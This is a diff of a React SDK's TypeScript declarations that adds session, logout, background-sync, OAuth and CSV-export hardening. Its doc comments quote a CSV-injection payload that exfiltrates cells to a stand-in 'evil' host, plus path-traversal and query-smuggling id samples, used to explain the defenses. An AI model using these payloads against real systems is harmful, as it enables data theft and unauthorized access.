tempest-react-sdk 0.76.0 → 0.78.0

package/dist/tempest-react-sdk.d.ts

@@ -714,6 +714,15 @@ export declare interface ApiClientConfig {
     prefix?: string;
     /** Returns the current bearer token (or null/undefined). Called per request. */
     getToken?: () => string | null | undefined;
+    /**
+     * Returns a counter that changes whenever the session changes — a sign-out,
+     * a sign-in. Read when each attempt leaves and handed to `refresh` and
+     * `onUnauthorized` in {@link RequestAuthContext}, so they can tell a `401`
+     * from an ended session (refuse it) from one of the current session (handle
+     * it). The token alone cannot: a request sent with no token, or with a token
+     * rehydrated from storage, says nothing about which session sent it.
+     */
+    getSessionEpoch?: () => number;
     /**
      * Origins besides `baseURL`'s that may receive the `getToken` credential.
      *
@@ -743,8 +752,12 @@ export declare interface ApiClientConfig {
      * Called when a request ends up unauthorized — a 401 with no `refresh`
      * configured, a `refresh()` that threw, or a retry that came back 401 again
      * after a refresh that resolved. Use it to end the session.
+     *
+     * `context` describes the attempt that came back `401` — the replay's, when
+     * it was the replay. Throwing {@link SessionSupersededError} here rejects the
+     * request with it; any other error is logged and the `401` is thrown as usual.
      */
-    onUnauthorized?: (response: Response) => void | Promise<void>;
+    onUnauthorized?: (response: Response, context: RequestAuthContext) => void | Promise<void>;
     /**
      * Where the client reports each request it finished. Off when absent — the
      * client writes to no console of its own.
@@ -768,8 +781,17 @@ export declare interface ApiClientConfig {
     /**
      * Optional refresh hook. When provided and the original request returns 401,
      * the client awaits `refresh()` then retries the request once.
+     *
+     * The hook receives a {@link RequestAuthContext} naming the token the rejected
+     * request carried. A hook that ignores it keeps working; one that reads it
+     * can tell a stale `401` — the token already rotated since the request left —
+     * from a fresh one, and skip a second refresh.
+     *
+     * Throwing {@link SessionSupersededError} rejects the request with that
+     * error **without** calling `onUnauthorized`: the session the refresh
+     * belonged to is gone, and the one in its place must not be ended for it.
      */
-    refresh?: () => Promise<void>;
+    refresh?: (context: RequestAuthContext) => Promise<void>;
     /**
      * Retry failed requests with exponential backoff. Off by default, so the
      * client keeps failing fast unless you opt in.
@@ -1072,6 +1094,25 @@ export declare interface AppErrorQueueEntry {
     report: AppErrorReportSchema;
     /** How many times this exact report was raised while it waited. */
     count: number;
+    /**
+     * The token in force when the report was raised, as a one-way fingerprint
+     * (`"t:<hex>"`) — never the token itself. `null` means there was none;
+     * the field is missing on entries persisted before it existed (≤ 0.76.0).
+     *
+     * The bearer is resolved when the queue drains, not when the error happens,
+     * so this is what keeps a report user A raised offline from leaving with
+     * user B's token: the bearer only goes out when it is the very token whose
+     * fingerprint is stored here.
+     */
+    session?: string | null;
+    /**
+     * Who `getPrincipal` said was signed in when the report was raised, as a
+     * one-way fingerprint (`"p:<hex>"`). Only set when the reporter has a
+     * `getPrincipal`; `null` means it named nobody. It never grants the bearer
+     * — `session` does — it only decides whether `foreignReports: "drop"`
+     * discards the entry.
+     */
+    owner?: string | null;
 }
 
 /**
@@ -1090,9 +1131,22 @@ export declare interface AppErrorReporter {
     report: (error: unknown, context?: Record<string, unknown>) => void;
     /** Drain the queue now. Concurrent calls share one run. */
     flush: () => Promise<AppErrorFlushResult>;
-    /** The waiting entries, oldest first. */
+    /**
+     * The waiting entries, oldest first. With an async `getToken` and no
+     * `getPrincipal`, a report joins them once its token resolves — `flush()`
+     * waits for that, `pending()` does not.
+     */
     pending: () => AppErrorQueueEntry[];
-    /** Drop every waiting report. */
+    /**
+     * Drop every waiting report. Call it on logout when reports raised in that
+     * session should not outlive it; even without it, a report never leaves
+     * with the next user's bearer.
+     *
+     * It also stops a flush in flight before its next send (the one already on
+     * the wire cannot be recalled), and discards reports still waiting for an
+     * async `getToken` to stamp them — both would otherwise refill the queue or
+     * keep sending what the logout meant to forget.
+     */
     clear: () => void;
     /** Remove the `online` listener and the retry timer. */
     dispose: () => void;
@@ -1740,6 +1794,70 @@ export declare type AvatarSize = "xs" | "sm" | "md" | "lg" | "xl";
 
 export declare type AvatarStatus = "online" | "offline" | "busy";
 
+/**
+ * `type` of the message the worker posts to window clients to ask about a queued
+ * request. Answered by {@link provideBackgroundSyncCredentials}.
+ */
+export declare const BACKGROUND_SYNC_CREDENTIALS_MESSAGE = "tempest:bg-sync-credentials";
+
+/**
+ * Resolve the credentials for a queued request: a header record to apply, or
+ * `null` when there is no session (the entry is then dropped).
+ */
+export declare type BackgroundSyncCredentialsProvider = (request: BackgroundSyncCredentialsRequest) => Record<string, string> | null | Promise<Record<string, string> | null>;
+
+/** The request a window client is asked about, as sent by the worker. */
+export declare interface BackgroundSyncCredentialsRequest {
+    /** Absolute URL of the queued request. */
+    url: string;
+    /** HTTP method of the queued request. */
+    method: string;
+    /**
+     * `"enqueue"` when the worker only wants the owner of a request that just
+     * failed; `"replay"` when it is about to send it and needs the credentials.
+     */
+    phase: "enqueue" | "replay";
+}
+
+/**
+ * How the default `beforeReplay` treats an `"unknown"` owner on an entry that
+ * carried no credential header:
+ * - `"strict"` (default): it asks the open pages like any other entry — replayed
+ *   only when every answer lacks a principal, dropped as soon as one answer has
+ *   one, pending while nobody answers.
+ * - `"lenient"`: it is replayed as-is, without asking (the behavior up to 0.77.0).
+ *
+ * An entry with stripped credentials always asks, under either policy.
+ */
+export declare type BackgroundSyncOwnerPolicy = "strict" | "lenient";
+
+/**
+ * How an entry is tied to whoever queued it:
+ * - `"bound"`: the issuing page reported a principal (or `null` for nobody);
+ *   the entry only goes out while the same one is signed in.
+ * - `"unbound"`: the issuing page answered without `getPrincipal`.
+ * - `"unknown"`: nobody could say — no issuing tab, no answer, an error, or an
+ *   entry written before owners existed. Fails closed, with or without stripped
+ *   credentials: a cookie session rides along on the replay, so an entry with no
+ *   credential header is checked like any other.
+ *
+ * While the worker is still asking, the stored state is `"pending"`, which a
+ * replay never sees: it waits, then reads a stamp that never came as `"unknown"`.
+ */
+export declare type BackgroundSyncOwnerState = "bound" | "unbound" | "unknown";
+
+/** What a queued request looked like when it was stored, passed to `beforeReplay`. */
+export declare interface BackgroundSyncReplayContext {
+    /** Epoch milliseconds of the original failed attempt. */
+    queuedAt: number;
+    /** Lower-cased credential header names stripped before the entry was stored. */
+    strippedHeaders: readonly string[];
+    /** How the entry is tied to its owner. */
+    ownerState: BackgroundSyncOwnerState;
+    /** Owner fingerprint under `"bound"` (`null` for nobody); `undefined` otherwise. */
+    owner: string | null | undefined;
+}
+
 /**
  * Pill / square status badge.
  *
@@ -2468,9 +2586,10 @@ export declare type CacheFilter = string | RegExp | ((name: string) => boolean);
 
 /**
  * Main-thread helpers to inspect and clear the Cache Storage buckets a service
- * worker fills — for a "X MB cacheado" readout and a "limpar cache" action
- * (e.g. on logout). All guard `caches` so they no-op safely under SSR / older
- * browsers.
+ * worker fills — for a "X MB cacheado" readout and a "limpar cache" action.
+ * On logout prefer `clearSessionData`, which also drops the background-sync
+ * queue and spares the app-shell precache. All guard `caches` so they no-op
+ * safely under SSR / older browsers.
  */
 /** Per-cache usage summary returned by {@link inspectCaches}. */
 export declare interface CacheReport {
@@ -3109,6 +3228,28 @@ declare type ClassValue = string | number | bigint | boolean | null | undefined
  */
 export declare function clearAnnouncer(): void;
 
+/**
+ * Empty the background-sync queue — every request still waiting to be replayed —
+ * and bump its clear epoch. Call it on logout (or use `clearSessionData()`, which
+ * also clears the runtime caches) so mutations made under one session are never
+ * replayed under the next.
+ *
+ * Works from the page and from the worker, and reaches work already in flight
+ * in the worker: a replay checks each entry right before sending it, and a
+ * request still failing when the queue is cleared is not written afterwards.
+ *
+ * @param queueName - The `queueName` given to {@link installBackgroundSync}.
+ *   Default `tempest-bg-sync`.
+ * @returns `true` once the queue is empty; `false` when IndexedDB is
+ *   unavailable (SSR, old browsers).
+ *
+ * @example
+ * import { clearBackgroundSyncQueue } from "tempest-react-sdk/sw";
+ *
+ * await clearBackgroundSyncQueue();
+ */
+export declare function clearBackgroundSyncQueue(queueName?: string): Promise<boolean>;
+
 /**
  * Delete Cache Storage buckets whose name passes `filter` (all of them when no
  * filter is given).
@@ -3117,10 +3258,60 @@ export declare function clearAnnouncer(): void;
  * @returns The names of the caches that were deleted.
  *
  * @example
- * await clearCaches("tempest-"); // drop every SDK-managed cache on logout
+ * await clearCaches("tempest-api"); // drop one runtime bucket
  */
 export declare function clearCaches(filter?: CacheFilter): Promise<string[]>;
 
+/**
+ * Remove everything the service-worker helpers keep on behalf of the signed-in
+ * user: the runtime caches filled by `installRuntimeCache` and the queue of
+ * mutations waiting in `installBackgroundSync`. Call it on logout, from the page.
+ *
+ * Both stores outlive the session and are shared by every account that signs in
+ * on the browser. Measured in Chromium 153 (11/10/2026), before this existed:
+ * the documented `clearCaches("tempest-")` deleted nothing because the recipe's
+ * runtime cache was named `api`, the next account read the previous account's
+ * `GET /api/me` offline, and a mutation queued by the previous account was
+ * replayed with its stored bearer after logout. A prefix filter cannot know the
+ * names a recipe chose, so the default here inverts it: every bucket goes except
+ * the precache, which holds only the build's static assets.
+ *
+ * Cache Storage and IndexedDB are origin storage, readable from the window, so
+ * this needs no message to the worker.
+ *
+ * @param options - Narrow the caches to delete, or name a custom queue.
+ * @returns The caches deleted and whether the queue was cleared.
+ *
+ * @example
+ * import { clearSessionData } from "tempest-react-sdk/sw";
+ *
+ * async function logout() {
+ *     await clearSessionData();
+ * }
+ */
+export declare function clearSessionData(options?: ClearSessionDataOptions): Promise<ClearSessionDataResult>;
+
+/** Options for {@link clearSessionData}. */
+export declare interface ClearSessionDataOptions {
+    /**
+     * Which Cache Storage buckets hold session data. Default: every bucket except
+     * the app-shell precache (`tempest-precache-*`), so the app still launches
+     * offline after logout while no runtime entry — whatever its `cacheName` —
+     * survives into the next session.
+     */
+    caches?: CacheFilter;
+    /** The background-sync `queueName` to clear. Default `tempest-bg-sync`. */
+    queueName?: string;
+}
+
+/** What {@link clearSessionData} removed. */
+export declare interface ClearSessionDataResult {
+    /** Names of the Cache Storage buckets deleted. */
+    caches: string[];
+    /** Whether the background-sync queue was emptied. */
+    queueCleared: boolean;
+}
+
 /**
  * Wraps its children in a `<div>` and invokes `onOutside` whenever a
  * `mousedown` or `touchstart` event occurs outside that subtree.
@@ -3670,6 +3861,12 @@ export declare function createApiClient(config: ApiClientConfig): ApiClient;
  * - **any other 4xx** — dropped: the backend will refuse that body forever, and
  *   keeping it would block every report queued behind it.
  *
+ * Each report is stamped with a one-way fingerprint of the token in force when
+ * it was raised, and goes out with a bearer only when the token at send time is
+ * that same one — never with the token of whoever signed in next. The queue
+ * never stores a token. `clear()` also stops a flush in flight and discards
+ * reports still waiting for an async token.
+ *
  * @example
  * import { createAppErrorReporter } from "tempest-react-sdk";
  *
@@ -3696,6 +3893,44 @@ export declare interface CreateAppErrorReporterOptions {
      * to get through. A token that throws or resolves empty sends anonymously.
      */
     getToken?: () => string | null | undefined | Promise<string | null | undefined>;
+    /**
+     * Who is signed in right now — a stable, non-secret id such as the user id.
+     * Read **when the error is reported**, and stored in the queue only as a
+     * one-way fingerprint (`entry.owner`). A non-string (an `async` getter
+     * from untyped JS, an object) or a getter that throws reads as nobody.
+     *
+     * It never grants the bearer. The bearer goes out only when the token at
+     * send time is the very token that was in force at report time (its
+     * fingerprint is `entry.session`): the principal and the token come from
+     * two sources, and a principal store that lags behind a login would
+     * otherwise send A's report with B's token. The principal only tells
+     * {@link CreateAppErrorReporterOptions.foreignReports} `"drop"` whose
+     * report is whose.
+     */
+    getPrincipal?: () => string | number | null | undefined;
+    /**
+     * What to do with a queued report that cannot go out with the current
+     * bearer — raised under another token, or queued before 0.77.0. Default
+     * `"anonymous"`.
+     *
+     * - `"anonymous"` — send it without `Authorization`. The route is public,
+     *   so the error still reaches the backend; it is only not attributed to
+     *   anybody. This includes the user's own reports raised before a token
+     *   refresh: attribution is lost, never misplaced.
+     * - `"drop"` — discard every report not proven to be the current
+     *   principal's: another principal, nobody, or unknown (no principal at
+     *   report time, a legacy entry, or nobody signed in now). For apps where
+     *   a previous user's error text must not leave the device after they
+     *   signed out. **Needs `getPrincipal`**: without it the only identity is
+     *   the token fingerprint, and a refresh changes it, so a mismatch is no
+     *   proof the report is someone else's — the reporter then sends
+     *   anonymously instead of destroying the user's own reports.
+     *
+     * Never is a report sent with a bearer other than the one it was raised
+     * under: that would credit the previous user's error to whoever signed in
+     * next.
+     */
+    foreignReports?: "anonymous" | "drop";
     /**
      * Device facts, read **when the error is reported**, not when it is sent —
      * a report queued offline on `1.4.0` must not go out labelled `1.5.0`.
@@ -3870,6 +4105,10 @@ export declare function createColorScale(hex: string, mode?: "light" | "dark", o
  * `GET /{resource}/{id}`, create → `POST`, update → `PATCH`/`PUT`,
  * delete → `DELETE`.
  *
+ * Every id goes through {@link encodeIdSegment} before reaching `buildPath`, so
+ * an id can never leave its own path segment — not with the default builder,
+ * and not with an override that interpolates it.
+ *
  * @param client - The HTTP client created by `createApiClient`.
  * @param options - Optional overrides for param names, sort encoding,
  *   update method and path building.
@@ -4224,10 +4463,14 @@ export declare function createLinkStatsSampler(options?: LinkStatsSamplerOptions
  * file. Apps that already have `createOfflineStore` open can pass their own
  * {@link ResumableUploadStorage} instead.
  *
+ * `clear()` forgets every record under the prefix. Call it from
+ * `onSessionEnd`: a record outlives the session that wrote it, and only
+ * completing the upload or `abort({ discard: true })` removes it otherwise.
+ *
  * @param prefix - Key prefix. Default `"tempest-upload:"`.
  * @returns A storage that no-ops when `localStorage` is unavailable.
  */
-export declare function createLocalUploadStorage(prefix?: string): ResumableUploadStorage;
+export declare function createLocalUploadStorage(prefix?: string): LocalUploadStorage;
 
 /**
  * Create a structured leveled logger. Plug arbitrary sinks (Sentry, Datadog,
@@ -4415,7 +4658,7 @@ export declare function createOSRMBackend(options: OSRMBackendOptions): RoutingB
 /**
  * Build a `206 Partial Content` response from a full one for an HTTP `Range`
  * request. Supports `bytes=start-end`, open-ended `bytes=start-` and suffix
- * `bytes=-suffixLength`. Returns the original response when there is no usable
+ * `bytes=-suffixLength` (the last N bytes). Returns the original response when there is no usable
  * `Range` header, or a `416` when the range is unsatisfiable.
  *
  * @param request The incoming request (its `Range` header drives the slice).
@@ -4607,15 +4850,26 @@ export declare function createQueryKeys<TKey extends string, TEntries extends Re
  * is already fresh. Measured against a mock backend, five concurrent expired
  * requests took two refreshes, not one.
  *
- * Pass `getToken` to close that gap. The queue remembers the token its last
- * refresh produced, and a call that finds that same token still in place returns
- * immediately, because the refresh it was about to perform has already happened.
+ * Pass `getToken` to close that gap. Wired as `createApiClient`'s `refresh`, the
+ * queue is told which token each rejected request carried: when that token is
+ * no longer the current one, the rotation it was about to trigger already
+ * happened, so the call returns at once and the replay picks up the new token.
  * The same five requests then take exactly one refresh, and so do twenty.
  *
+ * Called by hand, with no context, the queue falls back to remembering the
+ * token its last refresh produced and skipping while that token is in place.
+ * That fallback cannot tell "already refreshed" from "the refreshed token has
+ * since expired" — both leave the same string in the store — which is why the
+ * client passes the context. Before 0.77.0 the client did not, and every
+ * access token a refresh issued became unrefreshable once it expired: its `401`
+ * skipped the refresh, the replay failed again, and `onUnauthorized` ended the
+ * session.
+ *
  * @param refresh - Performs the refresh and installs the new credentials.
  * @param options - Optional token reader that enables already-refreshed
  *   detection.
- * @returns A function that refreshes at most once per rotation.
+ * @returns A function that refreshes at most once per rotation, accepting the
+ *   {@link RequestAuthContext} `createApiClient` passes on a `401`.
  *
  * @example
  * const refresh = createRefreshQueue(() => AuthService.refresh(), {
@@ -4626,7 +4880,7 @@ export declare function createQueryKeys<TKey extends string, TEntries extends Re
  * await refresh();
  * // ...retry the original request
  */
-export declare function createRefreshQueue(refresh: () => Promise<void>, options?: CreateRefreshQueueOptions): () => Promise<void>;
+export declare function createRefreshQueue(refresh: () => Promise<void>, options?: CreateRefreshQueueOptions): (context?: Pick<RequestAuthContext, "token">) => Promise<void>;
 
 export declare interface CreateRefreshQueueOptions {
     /**
@@ -4842,6 +5096,30 @@ export declare interface CreateStorePersistOptions<T> {
  * `redirectTo` set, the browser also leaves the page; without it, clearing the
  * store is enough for a `<RouteGuard>` to navigate on its own.
  *
+ * Every refresh is bound to a **session epoch**, bumped by `logout()` and by a
+ * `login()` whose credentials were accepted. A refresh that resolves after its epoch ended discards
+ * what it brought back and rejects with {@link SessionSupersededError}, which
+ * the client passes through without ending the new session. Before 0.77.0 a
+ * refresh that was in flight during `logout()` reinstalled the old tokens —
+ * and after `logout()` + `login(B)`, replaced B's token with A's while the UI
+ * showed B (#435). A `401` from a request sent under an ended session is
+ * refused the same way, instead of being replayed as the account signed in now.
+ *
+ * A `401` from a request that carried no token, while no session is installed,
+ * surfaces without a refresh: in cookie mode that refresh would be answered by
+ * the HttpOnly cookie `logout()` cannot clear, signing the previous account
+ * back in (#474). With a `login()` in flight, that `401` waits for it and
+ * replays with the token it installed, or surfaces when it failed — still
+ * without a refresh (#496). Restore a session at boot with an explicit
+ * `refresh()`, and pass `logoutPath` so the backend revokes the cookie:
+ * without a working revocation, that boot `refresh()` restores the previous
+ * account for whoever uses the browser next.
+ *
+ * Refreshes are collapsed per rotation, not just per overlap: a `401` whose
+ * request left with a token that has since been replaced in the same session
+ * replays with the new token and refreshes nothing. Three expired requests take
+ * one refresh whether their `401`s arrive together or one after another.
+ *
  * @example
  * const auth = createTempestAuth<User, { email: string; password: string }>({
  *     baseURL: import.meta.env.VITE_API_URL,
@@ -4850,7 +5128,7 @@ export declare interface CreateStorePersistOptions<T> {
  *
  * await auth.login({ email, password });   // stores session, returns the user
  * const orders = await auth.api.get("/api/orders");  // sends the bearer token
- * auth.logout();
+ * await auth.logout();                      // clears, then runs onSessionEnd
  *
  * @param options - The auth configuration.
  * @returns The store hook, a wired API client, and login/logout/refresh helpers.
@@ -4877,6 +5155,51 @@ export declare interface CreateTempestAuthOptions<TUser> {
     loginPath?: string;
     /** Refresh route (`POST`). Default: `"/api/auth/refresh"`. */
     refreshPath?: string;
+    /**
+     * Server-side logout route (`POST`), called by an explicit `logout()` to
+     * revoke the ending session. Off by default.
+     *
+     * `logout()` alone only clears client state, and an HttpOnly refresh
+     * cookie is out of its reach: with `withCredentials`, the cookie stays
+     * redeemable until the backend revokes it. The tempest-fastapi-sdk mounts
+     * `POST /auth/logout` (`204`, idempotent) when it stores refresh tokens in
+     * the database — at `/auth/cookie/logout` when it delivers tokens both in
+     * the body and in cookies — and stateless refresh tokens cannot be
+     * revoked, so the route is absent there.
+     *
+     * The request goes out through the ended session's client (the same one
+     * `onSessionEnd` receives, carrying its access token), with the body that
+     * `refreshBody` builds from the refresh token stored before the clear:
+     * `{ refresh_token }` in body mode, no body in cookie mode, which is what
+     * that route reads. The local clear does not wait on it — `isAuthenticated`
+     * is still `false` when `logout()` returns — but the promise `logout()`
+     * returns does, so a navigation after `await auth.logout()` does not abort
+     * it. A failure (network, `4xx`, `5xx`) is swallowed: revocation is
+     * best-effort and never keeps the user signed in. A `login()` started
+     * while it is in flight waits for it, because the logout response clears
+     * the auth cookies and would otherwise clear the new account's.
+     *
+     * Only an explicit `logout()` revokes. On `"switch"` the cookie jar already
+     * holds the new account's cookie, and on `"expired"` the server has already
+     * refused the session.
+     *
+     * Overlapping sign-outs each send their own revocation, and `login()` waits
+     * for all of them — at most 10 seconds, so one that
+     * never answers delays the sign-in instead of blocking it. In cookie mode,
+     * a revocation also waits (within the same bound) for the login and
+     * refresh responses that were in flight when `logout()` ran: the server
+     * sets the ended session's cookie when that response arrives, and a
+     * revocation sent earlier would leave it behind. In body mode, the refresh
+     * token such a superseded response brings back is revoked on its own.
+     */
+    logoutPath?: string;
+    /**
+     * Called with the error when a `logoutPath` revocation fails — network
+     * failure, `4xx` or `5xx`. `logout()` still resolves, since the local
+     * sign-out already happened; this is where the app logs or retries. A dev
+     * build also warns in the console. Errors it throws are swallowed.
+     */
+    onLogoutError?: (error: unknown) => void;
     /** Optional current-user route (`GET`) called after login/refresh. */
     mePath?: string;
     /** Persist key for the store. Default: `"tempest-auth"`. */
@@ -4929,6 +5252,48 @@ export declare interface CreateTempestAuthOptions<TUser> {
      * outside any guarded subtree and a full reload is acceptable.
      */
     redirectTo?: string;
+    /**
+     * Tear down per-user state when a session ends — on an explicit `logout()`,
+     * when the client ends the session on its own after a failed refresh, and
+     * when a successful `login()` replaces a live session. Without it, the automatic path had no place to hook into, and
+     * state derived from the user (a push subscription, a persisted query
+     * cache, a background-sync queue) survived into the next account.
+     *
+     * Order, on every path:
+     *
+     * 1. any refresh still in flight is superseded, so it cannot reinstall the
+     *    ending session's tokens;
+     * 2. the store and the stored refresh token are cleared — synchronously, so
+     *    `isAuthenticated` is already `false` when `logout()` returns;
+     * 3. this hook runs with a {@link TempestSessionEnd} whose `api` still sends
+     *    the ended session's access token;
+     * 4. on `"expired"` with `redirectTo` set, the browser navigates — after the
+     *    hook settled, even if it threw; on `"switch"`, the new session is
+     *    installed — after the hook settled, even if it threw.
+     *
+     * It may be async. `logout()` resolves when it settles and rejects with what
+     * it threw; on the automatic path the error is swallowed, because the
+     * request that ended the session already rejects with its own `401`. It
+     * runs once per session: a second `logout()`, or the other requests of a
+     * burst of `401`s, find nothing left to end and skip it.
+     *
+     * On `"switch"` the hook runs only **after** the new credentials were
+     * accepted, so a failed `login()` leaves the live session untouched. It runs
+     * **before** the new session is installed: teardown of the previous
+     * account's state (clearing a persisted cache, a background-sync queue) has
+     * to finish before the new account's requests start filling them, or it
+     * would wipe — or race with — the new account's data. The cost is that
+     * `isAuthenticated` is `false` while the hook runs, which a route guard may
+     * act on; keep the hook short. Its error is swallowed there, since the
+     * login itself succeeded.
+     *
+     * Inside the hook, reach the backend only through `session.api`. `auth.api`
+     * goes out with no token; `auth.login()` waits on the teardown in progress —
+     * this hook — and never settles. Telling the hook apart from an outside
+     * caller would need an async context the browser does not have, so this is
+     * a documented rule, not a runtime check.
+     */
+    onSessionEnd?: (session: TempestSessionEnd<TUser>) => void | Promise<void>;
 }
 
 /**
@@ -5403,6 +5768,33 @@ export declare interface CsvOptions {
     delimiter?: "," | ";";
     /** Prefix the output with a UTF-8 BOM. Default `true`. */
     bom?: boolean;
+    /**
+     * Prefix `'` to every text field that a spreadsheet would read as a formula.
+     * Default `true`.
+     *
+     * A field starting with `=`, `+`, `-`, `@`, TAB or CR is a formula start by the
+     * OWASP list (Excel and Google Sheets read it so; LibreOffice 26.2 evaluated only
+     * `=`), and opening the file evaluates it: a name typed
+     * as `=HYPERLINK("https://evil/?d="&A1,"ver")` turns into a link that exfiltrates
+     * other cells (OWASP "CSV Injection"). Measured on LibreOffice 26.2: `=1+2` was
+     * imported as the formula `of:=1+2` with value `3`. The default is the safe one
+     * because the BOM and the `;` delimiter already aim the file at a spreadsheet,
+     * and because the app that exports rarely controls every value in it.
+     *
+     * Text holding a `,`, `;` or TAB is also quoted whatever the delimiter
+     * (#481): a spreadsheet whose list separator is not the file's would otherwise
+     * split the bare field there and could start a cell with `=`. A quoted field is
+     * not split, so the quotes close that path without touching the text —
+     * `x;=1+2` is written `"x;=1+2"`.
+     *
+     * Numbers are never prefixed: a `number` cell, or a text field that is only a
+     * number (`"-5"`, `"-1.234,56"`, `"+42"`, `"1e-7"`), cannot be a formula, and
+     * neither can a lone `"-"`, which is left alone too. Pass
+     * `false` when the file feeds another system's importer rather than a person's
+     * spreadsheet, so the bytes round-trip unchanged and only the delimiter, quotes
+     * and line breaks decide the quoting.
+     */
+    neutralizeFormulas?: boolean;
 }
 
 /** Cursor-paginated response envelope (`CursorPaginationSchema[T]`). */
@@ -5530,6 +5922,11 @@ export declare interface DataProviderOptions {
     /**
      * Build the request path for a resource (and optional id).
      * Default: `id == null ? "/" + resource : "/" + resource + "/" + id`.
+     *
+     * Since 0.77.0 `id` arrives already passed through {@link encodeIdSegment}:
+     * percent-encoded as one path segment, and never `""`, `"."` or `".."`. An
+     * override therefore interpolates it as-is — encoding it again would turn
+     * `%2F` into `%252F`.
      */
     buildPath?: (resource: string, id?: string | number) => string;
 }
@@ -6013,6 +6410,19 @@ export declare const DEFAULT_CHUNK_SIZE: number;
  */
 export declare const DEFAULT_CIRCUITY_FACTOR = 1.3;
 
+/**
+ * Header names treated as credentials by the service-worker helpers: never
+ * persisted by `installBackgroundSync`, and a request carrying any of them
+ * bypasses `installRuntimeCache` unless the route opts in. `Cookie` and
+ * `Proxy-Authorization` are listed for completeness although the browser
+ * forbids scripts from setting them — a cookie session is invisible to the
+ * worker. The runtime cache therefore depends on `Cache-Control` and
+ * `clearSessionData()`; the background-sync queue checks the entry's owner
+ * through `getPrincipal` whether or not a credential header was stripped, and
+ * `clearSessionData()` still backs that check up.
+ */
+export declare const DEFAULT_CREDENTIAL_HEADERS: readonly string[];
+
 /**
  * Default cookie the CSRF token is read from.
  *
@@ -6414,7 +6824,8 @@ export declare type DocumentVisibility = "visible" | "hidden";
  * @param rows - The rows to export.
  * @param columns - Columns, in the order they should appear.
  * @param fileName - File name offered to the user. Default `"export.csv"`.
- * @param options - Delimiter and BOM, forwarded to {@link toCsv}.
+ * @param options - Delimiter, BOM and formula neutralization, forwarded to
+ *   {@link toCsv}.
  * @returns A promise that resolves once the share or download completes.
  */
 export declare function downloadCsv<T>(rows: readonly T[], columns: readonly CsvColumn<T>[], fileName?: string, options?: CsvOptions): Promise<void>;
@@ -6603,6 +7014,34 @@ export declare interface EmptyStateProps {
     className?: string;
 }
 
+/**
+ * Encode a record id as exactly one URL path segment.
+ *
+ * The data provider calls this on every id before building a path, because the
+ * id is the one part of the URL that may come from outside the app — a search
+ * param, a hash, a decoded route param, a value another user stored. Left raw,
+ * `"../../admin/users"` walks the authenticated request out of the resource,
+ * `"7?role=admin"` injects query params and `"7#x"` truncates the path, all
+ * while the request still carries the bearer token (#438).
+ *
+ * `encodeURIComponent` neutralises `/`, `?`, `#` and `%`. It leaves `.` alone,
+ * so `""`, `"."` and `".."` are rejected instead: the URL parser resolves them
+ * as dot-segments whatever the encoding, and none of them names a record.
+ * `null` and `undefined` — what an untyped caller or a not-yet-loaded route
+ * param hands over — are rejected too, since `String()` would turn them into
+ * the literal segments `"null"` and `"undefined"`.
+ *
+ * @param id - The record id, as handed to the provider.
+ * @returns The percent-encoded segment, safe to interpolate between two `/`.
+ * @throws {TypeError} When the id is `null`, `undefined`, `""`, `"."` or `".."`.
+ *
+ * @example
+ * encodeIdSegment(7); // "7"
+ * encodeIdSegment("a/b?x=1"); // "a%2Fb%3Fx%3D1"
+ * encodeIdSegment(".."); // throws TypeError
+ */
+export declare function encodeIdSegment(id: string | number): string;
+
 /**
  * Encode text into a QR matrix.
  *
@@ -6784,6 +7223,53 @@ export declare interface EventStreamMessage<T> {
 
 export declare type EventStreamStatus = "idle" | "connecting" | "open" | "closed" | "error";
 
+/**
+ * Finish a `tempest-fastapi-sdk` social login from the SPA's callback route.
+ *
+ * Reads the redirect with {@link readOAuthCallbackParams} and forwards `code`
+ * **and** `state` to `GET {prefix}/oauth/{provider}/callback`, where the backend
+ * compares the state against its `HttpOnly` cookie, redeems the code and
+ * answers with the same JWT pair `POST {prefix}/login` returns.
+ *
+ * The request goes with `credentials: "include"` because the state cookie is
+ * the other half of the comparison; with `skipAuth`, since there is no session
+ * yet and a `401` here means a forged or expired callback, not an expired token
+ * to refresh; and with `retry: false`, because the backend clears the state
+ * cookie on the first attempt and a code redeems once.
+ *
+ * Pass it as the `exchange` of {@link useOAuthCallback}, which runs it once even
+ * under StrictMode.
+ *
+ * @param api - The client from `createApiClient` (or `createTempestAuth().api`).
+ * @param provider - The provider key registered on the backend (e.g. `"google"`).
+ * @param options - Router prefix, the query string to read, abort signal.
+ * @returns The backend's login response.
+ * @throws {OAuthCallbackError} Before any request, when the redirect carries
+ *   `error` or lacks `state` or `code`.
+ *
+ * @example
+ * const { loading, error } = useOAuthCallback<LoginResponse>({
+ *     exchange: () => exchangeOAuthCallback<LoginResponse>(api, "google"),
+ *     onSuccess: () => navigate("/", { replace: true }),
+ * });
+ */
+export declare function exchangeOAuthCallback<T>(api: ApiClient, provider: string, options?: ExchangeOAuthCallbackOptions): Promise<T>;
+
+/** Options for {@link exchangeOAuthCallback}. */
+export declare interface ExchangeOAuthCallbackOptions {
+    /**
+     * Path the backend's auth router is mounted at — the `prefix` given to
+     * `make_auth_router`. Default: `"/auth"`.
+     */
+    prefix?: string;
+    /** Where to read the provider's redirect from. Default: `window.location.search`. */
+    search?: string | URLSearchParams;
+    /** Forwarded to {@link readOAuthCallbackParams}. Default: scrub when reading `window.location`. */
+    scrubUrl?: boolean;
+    /** Abort the exchange. */
+    signal?: AbortSignal;
+}
+
 /**
  * Grow a bounding box outward by `ratio` of its own span on every side, with a
  * small absolute floor so a single-point (zero-span) box still gets padding.
@@ -8217,9 +8703,17 @@ export declare function inspectCaches(options?: {
 
 /**
  * Install the background-sync queue: on a failed mutating request, the request
- * is serialized to IndexedDB and a sync is registered; the original fetch still
- * rejects (so your app can show an offline state), and the request is replayed
- * later when the network returns.
+ * is serialized to IndexedDB (without its credential headers) and a sync is
+ * registered; the original fetch still rejects (so your app can show an offline
+ * state), and the request is replayed later when the network returns.
+ *
+ * Right after queueing, the worker asks the page that issued the request who is
+ * signed in (`getPrincipal` on {@link provideBackgroundSyncCredentials}) and
+ * stamps the entry with that owner, without delaying the rejection. The work is
+ * handed to `event.waitUntil` synchronously, so the worker stays alive for it
+ * in every engine. Without the Background Sync API (every non-Chromium
+ * browser), the queue is drained opportunistically whenever a `GET` goes
+ * through the worker.
  *
  * @tempest-limits empty-catch — `registration.sync.register` is unavailable on
  * every non-Chromium browser and fails on a revoked background-sync permission.
@@ -8229,20 +8723,6 @@ export declare function inspectCaches(options?: {
  */
 export declare function installBackgroundSync(options?: InstallBackgroundSyncOptions): void;
 
-/**
- * Background-sync helper: queue failed mutating requests (POST/PUT/PATCH/DELETE)
